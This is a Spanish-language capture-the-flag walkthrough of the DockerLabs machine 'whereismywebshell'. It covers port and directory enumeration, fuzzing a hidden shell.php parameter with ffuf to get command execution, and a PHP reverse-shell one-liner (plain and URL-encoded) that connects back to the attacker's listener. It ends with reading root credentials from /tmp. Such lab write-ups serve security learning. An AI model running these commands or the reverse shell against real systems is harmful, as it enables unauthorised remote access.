> For the complete documentation index, see [llms.txt](https://1gnotus.gitbook.io/ignotus_pwn/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://1gnotus.gitbook.io/ignotus_pwn/dockerlabs/writeup/maquina-whereismywebshell-fuzzing-de-parametros-con-fuff-rce.md).

# MAQUINA whereismywebshell (FUZZING de PARAMETROS con FUFF - RCE)

ENUMERACION:

```
nmap -p- --open --min-rate 2000 -n -Pn -sS 172.17.0.2

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-03 11:17 -03
Nmap scan report for 172.17.0.2
Host is up (0.0000050s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 02:42:AC:11:00:02 (Unknown)
```

```
whatweb http://172.17.0.2/   

http://172.17.0.2/ [200 OK] Apache[2.4.57], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.57 (Debian)], IP[172.17.0.2], Title[Academia de Inglés (Inglis Academi)]
```

Inspeccione la web donde use wappalyzer para las tecnologías de la web y vi que el lenguaje este en PHP (importante), luego un comentario donde me indicaba cierta pista.

<figure><img src="/files/Wi0Urx4UWjk30NVpmWkb" alt=""><figcaption></figcaption></figure>

Con feroxbuster busque directorios ocultos dentro de la web.

```
feroxbuster -u http://172.17.0.2 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-1.0.txt -x php,txt,html 

200      GET       91l      227w     2510c http://172.17.0.2/index.html
200      GET      855l     4253w   327103c http://172.17.0.2/escuela.jpg
200      GET      521l     2920w   254921c http://172.17.0.2/clase_ingles.jpg
200      GET       91l      227w     2510c http://172.17.0.2/
500      GET        0l        0w        0c http://172.17.0.2/shell.php
200      GET       11l       34w      315c http://172.17.0.2/warning.html
```

Antes de ver el directorio shell.php donde el estado tiene como valor 500 mire la ruta warning.html con estado 200, dentro hay un comentario interesante que dice lo siguiente.

<figure><img src="/files/mpW4Q2t0ut41lnXrXGtL" alt=""><figcaption></figcaption></figure>

Volví a la ruta shell.php y use el siguiente comando para que FUFF me busque parámetros validos utilizando el diccionario "burp-parameter-names.txt", a la ruta "/shell.php" le agregue ?FUZZ, la palabra FUZZ hace que cada palabra del diccionario sea utilizado en esta SECCION por ultimo le indico que sea igual a "test" esto puede ser igual a /etc/passwd o a algo.

```
ffuf -u http://172.17.0.2/shell.php?FUZZ=test -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 0

parameter               [Status: 200, Size: 12, Words: 1, Lines: 2, Duration: 3ms]
```

Coloque el parámetro "parameter" en la url y a modo de prueba coloque un "ls" donde con éxito liste el contenido de la interno de la carpeta.

<figure><img src="/files/ZKWYG7j1Xg6PBCAHVjCT" alt=""><figcaption></figcaption></figure>

ACCESO INICIAL:

Luego use la siguiente revershell URLENCODEADA para obtener acceso remoto a la maquina victima.

```
php -r '$sock=fsockopen("172.17.0.1",443);shell_exec("bash <&3 >&3 2>&3");'
```

```
php%20-r%20%27%24sock%3Dfsockopen%28%22172.17.0.1%22%2C443%29%3Bshell_exec%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27
```

```
nc -nlvp 443                               
listening on [any] 443 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 33256
whoami
www-data
```

POST-EXPLOITACION:

Ya dentro de la maquina realice la enumeración correspondiente sin encontrar nada interesante.

Luego volví a la imagen del comienzo y vi que el comentario indicaba que hay alojado algo en la carpeta /tmp.

Luego allí encontré un archivo .secret.txt donde se aloja unas credenciales pertenecientes al usuario root.

```
www-data@2ccd37adc29d://tmp$ ls -la
total 12
drwxrwxrwt 1 root     root     4096 Jul  3 14:38 .
drwxr-xr-x 1 root     root     4096 Jul  3 14:15 ..
-rw-r--r-- 1 root     root       21 Apr 12  2024 .secret.txt
prw-r--r-- 1 www-data www-data    0 Jul  3 14:38 f
www-data@2ccd37adc29d://tmp$ cat .secret.txt 
333333333333333333333
```
